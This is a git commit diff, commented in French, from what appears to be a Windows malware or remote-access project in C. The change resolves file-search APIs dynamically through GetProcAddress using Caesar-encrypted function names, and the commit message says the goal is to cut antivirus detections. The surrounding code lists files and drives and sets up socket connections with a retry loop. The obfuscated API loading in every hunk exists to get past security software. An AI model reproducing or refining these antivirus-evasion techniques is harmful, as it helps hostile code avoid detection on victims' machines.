revert: avec l'optimisation --> +2 AV detection
This commit is contained in:
@@ -29,7 +29,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
|
||||
wcscat(searchPath, L"\\*.*");
|
||||
|
||||
hFind = FindFirstFile(searchPath, &findData);
|
||||
hFind = Api.FindFirstFileW(searchPath, &findData);
|
||||
if (hFind == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
@@ -59,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
|
||||
Api.strcpy(fileList[numFound], CAESAR(fileName));
|
||||
numFound++;
|
||||
} while (FindNextFile(hFind, &findData) != 0);
|
||||
} while (Api.FindNextFileW(hFind, &findData) != 0);
|
||||
|
||||
Api.FindClose(hFind);
|
||||
|
||||
|
||||
@@ -446,10 +446,10 @@ retry:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Never used
|
||||
Api.closesocket(sock);
|
||||
|
||||
FreeApis();
|
||||
|
||||
*/
|
||||
return 0;
|
||||
}
|
||||
@@ -12,8 +12,8 @@ void InitApis() {
|
||||
return;
|
||||
}
|
||||
|
||||
Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
|
||||
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
||||
Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
|
||||
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
|
||||
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
|
||||
Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
|
||||
@@ -29,6 +29,8 @@ void InitApis() {
|
||||
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
||||
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
|
||||
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
|
||||
Api.FindFirstFileW = (TFindFirstFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiKnwxyKnqj\\"));
|
||||
Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
|
||||
|
||||
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
||||
if (!hMsvcrt) {
|
||||
@@ -71,9 +73,10 @@ void InitApis() {
|
||||
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
|
||||
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
|
||||
}
|
||||
|
||||
/* Never called
|
||||
void FreeApis() {
|
||||
Api.FreeLibrary(hWininet);
|
||||
Api.FreeLibrary(hMsvcrt);
|
||||
Api.FreeLibrary(hKernel32);
|
||||
}
|
||||
}
|
||||
*/
|
||||
@@ -55,6 +55,8 @@ typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
||||
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
||||
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
|
||||
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
|
||||
typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
|
||||
typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
|
||||
|
||||
typedef struct ApiList {
|
||||
Tconnect connect;
|
||||
@@ -91,6 +93,8 @@ typedef struct ApiList {
|
||||
TFindClose FindClose;
|
||||
TGetLogicalDrives GetLogicalDrives;
|
||||
TMultiByteToWideChar MultiByteToWideChar;
|
||||
TFindFirstFileW FindFirstFileW;
|
||||
TFindNextFileW FindNextFileW;
|
||||
|
||||
Tmbstowcs mbstowcs;
|
||||
Twcstombs wcstombs;
|
||||
@@ -110,4 +114,4 @@ typedef struct ApiList {
|
||||
} API;
|
||||
|
||||
void InitApis();
|
||||
void FreeApis();
|
||||
//void FreeApis(); Never called
|
||||
Reference in New Issue
Block a user